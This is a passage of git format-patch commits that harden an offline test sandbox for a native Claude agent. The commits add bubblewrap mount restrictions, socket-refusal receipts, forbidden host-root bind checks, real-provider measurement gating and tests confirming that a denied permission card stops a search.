authorization`,()=>expect(()=>enterMeasurement({entry,argv},{installOffline(){},warn(){}})).toThrow("before runtime import")); diff --git a/tests/search-witness.test.ts b/tests/search-witness.test.ts new file mode 100644 index 0000000000..1db6ad2b30 --- /dev/null +++ b/tests/search-witness.test.ts @@ -0,0 +1,16 @@ +import {expect,test} from "bun:test"; +import {mkdtempSync,writeFileSync,existsSync,readFileSync,rmSync} from "node:fs"; +import {tmpdir} from "node:os"; +import {join} from "node:path"; +import {searchWitnessScript} from "../packages/ui-server/tests/helpers/search-witness"; +for(const code of [0,1,127]) test(`search witness requires successful nested rg: ${code}`,()=>{ + const root=mkdtempSync(join(tmpdir(),"odysseus-search-")); + try { + const rg=join(root,"rg"),wrapper=join(root,"wrapper"),marker=join(root,"marker"),status=join(root,"status"); + if(code!==127)writeFileSync(rg,`#!/bin/sh\nexit ${code}\n`,{mode:0o755}); + writeFileSync(wrapper,searchWitnessScript(rg,marker,status,0)); + const child=Bun.spawnSync(["/bin/sh",wrapper,"sirens"],{stderr:"pipe"}); + expect(child.exitCode).toBe(code);expect(readFileSync(status,"utf8").trim()).toBe(String(code)); + expect(existsSync(marker)).toBe(code===0); + }finally{rmSync(root,{recursive:true,force:true});} +}); From b60fdc76407cada70bcbd7caef5270a23b8720c8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 02:33:25 +0000 Subject: [PATCH 041/187] test: report fixture-scoped socket mount refusal evidence --- scripts/test-native-guard.ts | 29 +++++++++++++++++++-------- tests/native-offline-boundary.test.ts | 6 ++++++ 2 files changed, 27 insertions(+), 8 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index c9d3a7dac2..1fbf29e8d3 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -123,11 +123,11 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o return false; } -function refuse(reason: string): never { +function refuse(reason: string, mountEvidence?: Record): never { denied++; // Fixed classifications only: arguments, settings, credentials and addresses // never enter a denial receipt. - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead() })); + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}) })); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -440,13 +440,13 @@ export function nativeScriptedQuery(query: typeof sdkQuery, origin: string): typ } const relayForwarding = new AsyncLocalStorage>(); -const ownedRelaySockets = new Map(); +const ownedRelaySockets = new Map(); const socketIdentity = (stat: { dev: bigint; ino: bigint }) => `${stat.dev}:${stat.ino}`; const ownedHttpServers = new WeakMap>(); function rememberRelay(path: string, origin: string, isLive: () => boolean = () => true): () => void { const stat = lstatSync(path, { bigint: true }); - const key = socketIdentity(stat), authority = { origin, dev: stat.dev, ino: stat.ino, isLive }; + const key = socketIdentity(stat), authority = { path, origin, dev: stat.dev, ino: stat.ino, isLive }; ownedRelaySockets.set(key, authority); return () => { if (ownedRelaySockets.get(key) === authority) ownedRelaySockets.delete(key); }; } @@ -556,19 +556,29 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo i += 2; } } + const fixturePath = (path: string) => { + const root = roots.filter(root => (within(ROOT, root) || within(tmpdir(), root)) && within(root, path)).sort((a,b) => b.length-a.length)[0]; + return root ? { mount: roots.indexOf(root), storage: within(ROOT, root) ? "workspace-fixture" : "temporary-fixture", relativePath: path.slice(root.length).replace(/^\//, "") || "." } : { storage: "outside-fixture" }; + }; + let refusedSocket: Record | undefined; + let inspected = "", metadataError: string | undefined; const visited = new Set(); const visit = (path: string): boolean => { + inspected = path; let real: string; try { real = realpathSync(path); } catch (error) { // Only proven absence is harmless; permission and I/O uncertainty refuse. - return (error as NodeJS.ErrnoException).code === "ENOENT" && lstatSync(path).isSymbolicLink(); + metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; + return metadataError === "ENOENT" && lstatSync(path).isSymbolicLink(); } // An absolute alias into unmounted storage is inaccessible in the child. if (!roots.some(root => within(root, real))) return true; const info = lstatSync(real, { bigint: true }); if (info.isSocket()) { const peer = ownedSocketOrigin(real); - return Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); + const allowed = Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); + if (!allowed) refusedSocket = { ...fixturePath(real), device: String(info.dev), inode: String(info.ino) }; + return allowed; } if (!info.isDirectory()) return true; const key = socketIdentity(info); @@ -576,8 +586,11 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo visited.add(key); return readdirSync(real).every(name => visit(join(real, name))); }; - try { if (roots.every(visit)) return; } catch { /* Unknown view refuses. */ } - refuse("fixture storage contains an unowned Unix socket or directory alias"); + try { if (roots.every(visit)) return; } catch (error) { metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; } + refuse("fixture storage contains an unowned Unix socket or directory alias", { + refusedSocket: refusedSocket ?? { ...fixturePath(inspected), metadataError: metadataError ?? "UNKNOWN" }, + ownedSockets: [...ownedRelaySockets.values()].map(socket => ({ ...fixturePath(socket.path), device: String(socket.dev), inode: String(socket.ino), live: socket.isLive() })), + }); } function relaySubtreeOwned(directory: string, origin: string): boolean { diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 2bdde93fae..20f6525f95 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -568,6 +568,12 @@ test("all direct bind sources reject unowned sockets, including PATH, managed se }finally{foreign?.stop(true);if(plan){writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}}`, scratch); expect(result.code).not.toBe(0); expect(result.output).toContain('"reason":"fixture storage contains an unowned Unix socket or directory alias"'); + const receipt=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"kind":"native-offline-boundary"'))!); + expect(receipt.mountEvidence.refusedSocket.relativePath).toBe("foreign.sock"); + expect(receipt.mountEvidence.refusedSocket.device).toMatch(/^\d+$/); + expect(receipt.mountEvidence.refusedSocket.inode).toMatch(/^\d+$/); + expect(receipt.mountEvidence.ownedSockets.length).toBeGreaterThan(0); + expect(JSON.stringify(receipt.mountEvidence)).not.toContain(scratch); } } finally { rmSync(scratch, { recursive: true, force: true }); } }); From acbb5c980c667a5b7d3df3093a88b48d558bc91b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 02:54:49 +0000 Subject: [PATCH 042/187] test: admit offline Pi controls and witness denied search invocations --- .../ui-server/tests/safety-result-retention.test.ts | 7 ++++--- scripts/measure-show-block-server.ts | 2 +- scripts/measure-show-block.ts | 2 +- scripts/measurement-entry-preload.ts | 2 +- scripts/measurement-entry.ts | 5 +++-- scripts/pi-schema-offline-preload.ts | 1 + scripts/pi-schema-runner.py | 1 + scripts/test-native-guard.ts | 11 +++++++++-- tests/measurement-entry.test.ts | 10 ++++++++++ 9 files changed, 31 insertions(+), 10 deletions(-) diff --git a/packages/ui-server/tests/safety-result-retention.test.ts b/packages/ui-server/tests/safety-result-retention.test.ts index d9059ad17f..bc06e5b754 100644 --- a/packages/ui-server/tests/safety-result-retention.test.ts +++ b/packages/ui-server/tests/safety-result-retention.test.ts @@ -60,7 +60,7 @@ function modelCalls(calls:{name:string;id:string;input:Record}[] return new Response(events.map(event=>`event: ${(event as {type:string}).type}\ndata: ${JSON.stringify(event)}\n\n`).join(""),{headers:{"content-type":"text/event-stream"}}); } async function voyageHome(interruption:Interruption,check:(f:{db:ReturnType;writes:ReturnType; - first:{results:number;failures:number;aborted:boolean;indexWaits:number;admitted:number;cards:number;refusals:number};searched:boolean;replayed:string[]})=>void){ + first:{results:number;failures:number;aborted:boolean;indexWaits:number;admitted:number;cards:number;refusals:number};searched:boolean;searchInvoked:boolean;replayed:string[]})=>void){ const root=mkdtempSync(join(tmpdir(),"odysseus-safety-retention-")),brain=join(root,"brain"),home=join(root,"home"); // A note: reading it records nothing before the tool runs, so only the // search output's own record stands between it and a complete chat. @@ -180,7 +180,7 @@ async function voyageHome(interruption:Interruption,check:(f:{db:ReturnTyper.raw.includes(SONG)),"SAFETY_RUNTIME_REPLAYS_THE_INTERRUPTED_RESULT").toBe(true); - check({db,writes,first,searched:existsSync(searched),replayed}); + check({db,writes,first,searched:existsSync(searched),searchInvoked:existsSync(searchStatus),replayed}); // Contained to its chat: the brain-wide recorder is untouched, and a // recovery has nothing to clear, so the chat keeps its restriction (or, // with nothing lost, stays normal). @@ -250,11 +250,12 @@ test("a denial under an id the runtime admitted twice cannot settle the search t expect(first.admitted,"SAFETY_HOST_REPORTS_BOTH_ADMISSIONS").toBe(2); }),60000); -test("a search denied at its permission card never runs, and its chat stays normal with no gap",()=>voyageHome("denied",({db,writes,first,searched})=>{ +test("a search denied at its permission card never runs, and its chat stays normal with no gap",()=>voyageHome("denied",({db,writes,first,searched,searchInvoked})=>{ // The runtime asks the callback, its last gate, and Penelope's deny keeps // the search from running at all. expect(first.cards,"SAFETY_RUNTIME_ASKS_THE_CALLBACK").toBe(1); expect(searched,"SAFETY_DENIED_SEARCH_NEVER_RAN").toBe(false); + expect(searchInvoked,"SAFETY_DENIED_SEARCH_NEVER_INVOKED").toBe(false); // The denial of the id's only admission proves the call never ran. expect(db.query("SELECT failure,gap FROM safety_collections WHERE turn_id='voyage'").get(),"SAFETY_CARD_DENY_LEAVES_NO_GAP").toEqual({failure:null,gap:null}); const chat=writes.safety("homeward","ithaca"); diff --git a/scripts/measure-show-block-server.ts b/scripts/measure-show-block-server.ts index 5faa2aca69..c392c9f764 100644 --- a/scripts/measure-show-block-server.ts +++ b/scripts/measure-show-block-server.ts @@ -20,7 +20,7 @@ import { measurementAuthorizationArgs } from "./measurement-entry-preload.ts"; // bun scripts/measure-show-block-server.ts --allow-real-provider --brain --out runs.json \ // [--backend pi|claude] [--model claude-sonnet-5-5] [--prompts 0,1,2,3] [--runs 6] // bun scripts/measure-show-block-server.ts --allow-real-provider --suggestions --brain --backend pi --runs 3 --out suggestions.json -// bun scripts/measure-show-block-server.ts --allow-real-provider --report runs.json [more.json …] +// bun scripts/measure-show-block-server.ts --report runs.json [more.json …] // // Point `--brain` at a copy of a brain OUTSIDE any checkout of this repo. // The agent's cwd is the brain, and a brain nested in the worktree lets the diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 610b749f62..7270903c8d 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -38,7 +38,7 @@ import "./measurement-entry-preload.ts"; * bun scripts/measure-show-block.ts --allow-real-provider --tokens # the schema arithmetic * bun scripts/measure-show-block.ts --allow-real-provider --both-arms # loaded AND deferred, one run * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --reps 3 --out suggestions.json --md suggestions.md - * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --schema-cost # keyless estimates + * bun scripts/measure-show-block.ts --suggestions --schema-cost # keyless estimates * bun scripts/measure-show-block.ts --allow-real-provider --suggestions --tokens # counted API cost * bun scripts/measure-show-block.ts --allow-real-provider --schema-forms # #336: the schema written three ways * diff --git a/scripts/measurement-entry-preload.ts b/scripts/measurement-entry-preload.ts index 6cc0b23f17..c4fa2997f2 100644 --- a/scripts/measurement-entry-preload.ts +++ b/scripts/measurement-entry-preload.ts @@ -10,7 +10,7 @@ try { const name = basename(source); if (source === realpathSync(join(import.meta.dir, name))) entry = name; } catch { /* Library/test imports retain offline admission. */ } -export const measurementAdmission = enterMeasurement({ entry, argv: process.argv.slice(2), liveEval: process.env.BRAIN_LIVE_EVAL }, +export const measurementAdmission = enterMeasurement({ entry, argv: process.argv.slice(2), liveEval: process.env.BRAIN_LIVE_EVAL, piOffline: process.env.BRAIN_MEASURE_PI_WORKER_OFFLINE === "1" }, { installOffline: () => { installNetworkGuard(); }, warn: message => console.error(message) }); // Keep existing command parsers unchanged after the explicit flag is consumed. export const measurementAuthorizationArgs = measurementAdmission === "live" && process.argv.includes("--allow-real-provider") diff --git a/scripts/measurement-entry.ts b/scripts/measurement-entry.ts index c9d29d4f49..e1815143b6 100644 --- a/scripts/measurement-entry.ts +++ b/scripts/measurement-entry.ts @@ -1,11 +1,12 @@ /** Fixed admission rules for repository measurement commands, never a provider extension. */ -export interface MeasurementEntryInput { entry: string; argv: readonly string[]; liveEval?: string } +export interface MeasurementEntryInput { entry: string; argv: readonly string[]; liveEval?: string; piOffline?: boolean } const protocol587 = new Set(["measure-turn-surface-live.ts", "measure-turn-surface-tokens.ts"]); const liveFlag = new Set(["measure-show-block.ts", "measure-show-block-server.ts", "measure-real-provider-dispatch.ts", "measure-pi-schema.ts", "measure-sync-judge.ts"]); export const REAL_MEASUREMENT_WARNING = "REAL-PROVIDER MEASUREMENT: provider access and charges are authorized; this is not offline test proof."; export function measurementMode(input: MeasurementEntryInput): "live" | "offline" { const has = (flag: string) => input.argv.includes(flag); - const offline = input.entry === "measure-show-block.ts" && has("--suggestions") && has("--schema-cost") + const offline = input.entry === "measure-pi-schema.ts" && input.piOffline === true + || input.entry === "measure-show-block.ts" && has("--suggestions") && has("--schema-cost") || input.entry === "measure-show-block-server.ts" && (has("--inspect-suggestions") || has("--report")) || input.entry === "measure-real-provider-dispatch.ts" && (input.argv[0] === "--server" ? input.argv[3] === "dry" : has("--dry-run")) || input.entry === "measure-turn-surface-live.ts" && (has("--offline") || input.liveEval === "587_OFFLINE"); diff --git a/scripts/pi-schema-offline-preload.ts b/scripts/pi-schema-offline-preload.ts index c4b93f7698..aee22b30fa 100644 --- a/scripts/pi-schema-offline-preload.ts +++ b/scripts/pi-schema-offline-preload.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** Native control, always fake: no provider transport delegates to real fetch. */ // The host loads this first; the worker inherits the marker and imports it again. const inWorker = process.env.BRAIN_MEASURE_PI_WORKER_OFFLINE === "1"; diff --git a/scripts/pi-schema-runner.py b/scripts/pi-schema-runner.py index 4bb659df7f..692dea8d24 100644 --- a/scripts/pi-schema-runner.py +++ b/scripts/pi-schema-runner.py @@ -118,6 +118,7 @@ def launch(out, form, bun, offline, mutation=None, expected_account=None, replay command.extend(["--proc","/proc","--dev","/dev","--tmpfs","/tmp","--ro-bind",str(ROOT),"/workspace","--ro-bind",str(bun.parent),"/runtime","--bind",str(run),"/fixture-run","--bind",str(out/"billing"),"/billing","--chdir","/fixture-run/brain","/runtime/bun"]) if offline: command.extend(["--preload","/workspace/scripts/pi-schema-offline-preload.ts"]) command.extend(["--preload","/workspace/scripts/pi-schema-preload.ts","/workspace/scripts/measure-pi-schema.ts","--brain","/fixture-run/brain","--out","/fixture-run/result.json"]) + if not offline: command.append("--allow-real-provider") started=time.monotonic() with (run/"stdout.log").open("wb") as stdout, (run/"stderr.log").open("wb") as stderr: process_receipt=wait_owned_process(command,env,stdout,stderr) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1fbf29e8d3..d2abfb33a6 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -557,8 +557,15 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo } } const fixturePath = (path: string) => { - const root = roots.filter(root => (within(ROOT, root) || within(tmpdir(), root)) && within(root, path)).sort((a,b) => b.length-a.length)[0]; - return root ? { mount: roots.indexOf(root), storage: within(ROOT, root) ? "workspace-fixture" : "temporary-fixture", relativePath: path.slice(root.length).replace(/^\//, "") || "." } : { storage: "outside-fixture" }; + const root = roots.filter(root => within(root, path)).sort((a,b) => b.length-a.length)[0]; + if (!root) return { storage: "outside-mount-inventory" }; + const mount = roots.indexOf(root); + // Only constant OS roots may be identified outside synthetic fixture storage. + const systemRoot = SYSTEM.find(path => { try { return realpathSync(path) === root; } catch { return false; } }); + const fixture = within(ROOT, root) || within(tmpdir(), root); + return fixture + ? { mount, storage: within(ROOT, root) ? "workspace-fixture" : "temporary-fixture", relativePath: path.slice(root.length).replace(/^\//, "") || "." } + : { mount, storage: "outside-fixture", source: systemRoot ? "system-runtime" : "other-bound-source", ...(systemRoot ? { systemRoot } : {}) }; }; let refusedSocket: Record | undefined; let inspected = "", metadataError: string | undefined; diff --git a/tests/measurement-entry.test.ts b/tests/measurement-entry.test.ts index fa99b947a8..e67ae96de4 100644 --- a/tests/measurement-entry.test.ts +++ b/tests/measurement-entry.test.ts @@ -53,3 +53,13 @@ for (const [entry, argv] of [ }); for(const [entry,argv] of [["measure-show-block.ts",["--tokens"]],["measure-show-block.ts",["--suggestions","--tokens"]],["measure-show-block-server.ts",["--classify"]],["measure-real-provider-dispatch.ts",["--server","claude","/tmp/ithaca","live","0","--dry-run"]]] as const) test(`${entry} ${argv.join(" ")} requires live authorization`,()=>expect(()=>enterMeasurement({entry,argv},{installOffline(){},warn(){}})).toThrow("before runtime import")); +test("Pi offline preload marker retains guard with or without live authorization",()=>{ + for(const argv of [[],["--allow-real-provider"]]) { + let installs=0,warnings=0; + expect(enterMeasurement({entry:"measure-pi-schema.ts",argv,piOffline:true},{installOffline(){installs++;},warn(){warnings++;}})).toBe("offline"); + expect(installs).toBe(1);expect(warnings).toBe(0); + } + const runner=readFileSync(join(ROOT,"scripts/pi-schema-runner.py"),"utf8"); + expect(runner).toContain('if not offline: command.append("--allow-real-provider")'); + expect(readFileSync(join(ROOT,"scripts/pi-schema-offline-preload.ts"),"utf8").split("\n")[0]).toBe('import "./test-network-child-preload.ts";'); +}); From 00bcce6db198842d69161ad31bd64515f1745c6b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 03:09:53 +0000 Subject: [PATCH 043/187] test: restrict native system mounts and keep fixture walks fail closed --- docs/process/testing.md | 17 ++++++++ scripts/test-native-guard.ts | 29 ++++++++++---- tests/native-offline-boundary.test.ts | 58 +++++++++++++++++++++++++++ 3 files changed, 97 insertions(+), 7 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 75de088885..089a6a8de8 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1203,3 +1203,20 @@ PR #4312 changes that existing suite; its complete changed-head qualification remains with #4274. Run installed-native backend and provider-history cells only in hosted CI; a temporary HOME and SDK options alone do not establish isolation. + +The native test boundary binds only these distribution directories read-only: +`/usr`, `/bin`, `/sbin`, `/lib`, `/lib32`, `/lib64`, `/libx32` (when present). +Its distribution metadata is limited to `/etc/ld.so.cache`, `/etc/localtime` +and `/etc/os-release`. These fixed distribution mounts are exempt from recursive +socket discovery; they are not host-writable service storage. Writable mounts +of distribution sources are refused. `/etc/alternatives` is omitted from the +test worker view rather than walking aliases back into the distribution tree. +Every non-system bind keeps the socket walk and refuses missing (`ENOENT`) +or inaccessible (`EACCES`) entries. The lifetime socket broker remains active +for every mount, including the distribution view. + +The bind inventory refuses the host roots `/run`, `/var/run`, `/tmp`, `/dev`, +`/dev/shm`, `/home`, `/var/lib`, `/etc`, `/var` and `/` as either bind source or +destination. Private `--tmpfs` and `--dev` mounts are newly created views; +fixture subdirectories are separate non-system sources, never broad host-root +binds. Any needed service-storage data must be copied into a fixture first. diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index d2abfb33a6..611c05998c 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -10,7 +10,10 @@ import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); +// Distribution-owned, read-only runtime bytes; never service/cache storage. const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; +const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; +const FORBIDDEN_BIND_ROOTS = new Set(["/", "/run", "/var/run", "/tmp", "/dev", "/dev/shm", "/home", "/var/lib", "/etc", "/var"]); const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL", "TERM", "SHELL", "USER", "LOGNAME", "TMPDIR", "XDG_CONFIG_HOME", "XDG_CACHE_HOME", "XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_RUNTIME_DIR", "BRAIN_ROOT", "BRAIN_WORKER_DATA_ROOT", "BRAIN_WORKER_CONFIG_ROOT", "BRAIN_WORKER_SCRATCH", "BRAIN_WITHHELD_KEYS", "BRAIN_PROVIDER_RELAY_SOCKET", @@ -196,8 +199,7 @@ function systemMounts(): string[] { else argv.push("--ro-bind", path, path); } // No host account database or managed configuration enters the native view. - for (const name of ["ld.so.cache", "alternatives", "localtime", "os-release"]) { - const path = `/etc/${name}`; + for (const path of SYSTEM_FILES) { if (existsSync(path)) argv.push("--ro-bind", realpathSync(path), path); } return argv; @@ -552,7 +554,18 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo const flag = mounts[i]!; if (flag.startsWith("--overlay") || flag.includes("bind-fd")) refuse("unsupported native mount source"); if (["--bind", "--ro-bind", "--dev-bind", "--bind-try", "--ro-bind-try", "--dev-bind-try"].includes(flag)) { - try { const source = realpathSync(mounts[i + 1]!); if (source === "/") refuse("native mount exposes the host root"); roots.push(source); } catch { refuse("native mount source is unavailable"); } + const input = mounts[i + 1]!, destination = resolve(mounts[i + 2]!); + if (FORBIDDEN_BIND_ROOTS.has(resolve(input)) || FORBIDDEN_BIND_ROOTS.has(destination)) refuse("native bind exposes a forbidden host service root"); + let source: string; + try { source = realpathSync(input); } catch { refuse("native mount source is unavailable"); } + if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); + const system = [...SYSTEM, ...SYSTEM_FILES].some(path => { + try { return destination === path && source === realpathSync(path); } catch { return false; } + }); + if (flag !== "--ro-bind" && (system || SYSTEM.some(root => { try { return within(realpathSync(root), source); } catch { return false; } }))) refuse("native system mounts must be read-only"); + // No recursive walk of the fixed distribution view. All other binds, + // including fixture tools, homes, caches and relay storage, fail closed. + if (!system) roots.push(source); i += 2; } } @@ -574,12 +587,13 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string): vo inspected = path; let real: string; try { real = realpathSync(path); } catch (error) { - // Only proven absence is harmless; permission and I/O uncertainty refuse. + // Every missing or unreadable non-system entry refuses. metadataError = (error as NodeJS.ErrnoException).code ?? "UNKNOWN"; - return metadataError === "ENOENT" && lstatSync(path).isSymbolicLink(); + return false; } - // An absolute alias into unmounted storage is inaccessible in the child. - if (!roots.some(root => within(root, real))) return true; + // Aliases into fixed distribution roots follow the same read-only policy; + // aliases into unmounted storage are inaccessible in the child. + if (real !== path && SYSTEM.some(root => { try { return within(realpathSync(root), real); } catch { return false; } }) || !roots.some(root => within(root, real))) return true; const info = lstatSync(real, { bigint: true }); if (info.isSocket()) { const peer = ownedSocketOrigin(real); @@ -659,6 +673,7 @@ export function nativeWorkerBoundary(env: Record): { assertNativeMountSockets(tools.mounts, route.origin); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); + else if (workerArgv[i] === "--ro-bind" && workerArgv[i + 2] === "/etc/alternatives") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy()); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 20f6525f95..50ec743065 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -722,3 +722,61 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) mutationBoundary.dispose(); } finally { lateServer?.close(); boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); + +test("native bind inventory rejects every forbidden host service root", async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-forbidden-bind-")); + try { + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + registerScriptedService("http://127.0.0.1:1");let refused=0; + for(const root of ["/","/run","/var/run","/tmp","/dev","/dev/shm","/home","/var/lib","/etc","/var"])for(const source of [false,true]){ + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",source?root:${JSON.stringify(scratch)},source?${JSON.stringify(scratch)}:root,"--",${JSON.stringify(runtime)}]})});} + catch(error){if(String(error).includes("forbidden host service root"))refused++;else throw error;} + }if(refused!==20)throw Error("forbidden root admitted");console.error("FORBIDDEN_BIND_ROOTS_REFUSED:20");`,scratch); + expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("FORBIDDEN_BIND_ROOTS_REFUSED:20"); + expect(result.output).not.toContain('"nativeLaunched":true'); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("fixed read-only system mounts are never recursively walked",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-system-policy-")); + try{ + const result=await probe(`${imports} + import {mock} from "bun:test"; + import * as fs from "node:fs"; + const read=fs.readdirSync; + mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)==="/usr")throw Object.assign(Error("system walk forbidden"),{code:"EACCES"});return read(path,...args);}})); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); + if(!plan.argv.some((value,index)=>value==="--ro-bind"&&plan.argv[index+1]==="/usr"&&plan.argv[index+2]==="/usr"))throw Error("fixed system mount absent"); + fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("non-system missing and inaccessible entries remain failed receipts",async()=>{ + for(const code of ["ENOENT","EACCES"]){ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-nonsystem-policy-")); + try{ + const result=await probe(`${imports} + import {mock} from "bun:test";import * as fs from "node:fs"; + const read=fs.readdirSync; + if(${JSON.stringify(code)}==="ENOENT")fs.symlinkSync(${JSON.stringify(join(scratch,"absent"))},${JSON.stringify(join(scratch,"missing"))}); + else mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)===${JSON.stringify(scratch)})throw Object.assign(Error("synthetic unreadable fixture"),{code:"EACCES"});return read(path,...args);}})); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); + fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain('"metadataError":"'+code+'"');expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});} + } +}); From e0be9c27e58fad778f078527b99d79c5efa2f41e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 04:19:01 +0000 Subject: [PATCH 044/187] test: validate executed worker argv and fixture-owned read inputs --- docs/process/testing.md | 16 ++ .../tests/fixtures/host-relay-probe.ts | 2 +- .../fixtures/ordinary-host-relay-probe.ts | 2 +- .../tests/fixtures/sdk-host-relay-probe.ts | 2 +- .../tests/fixtures/server-host-relay-probe.ts | 2 +- .../tests/fixtures/ordinary-identity-ws.ts | 4 +- .../fixtures/scratch-mask-identity-ws.ts | 2 +- .../helpers/worker-startup-view-fixture.ts | 3 +- scripts/measure-claude-runtime.ts | 2 +- scripts/measure-real-provider-dispatch.ts | 2 +- scripts/measure-turn-surface-live.ts | 7 +- 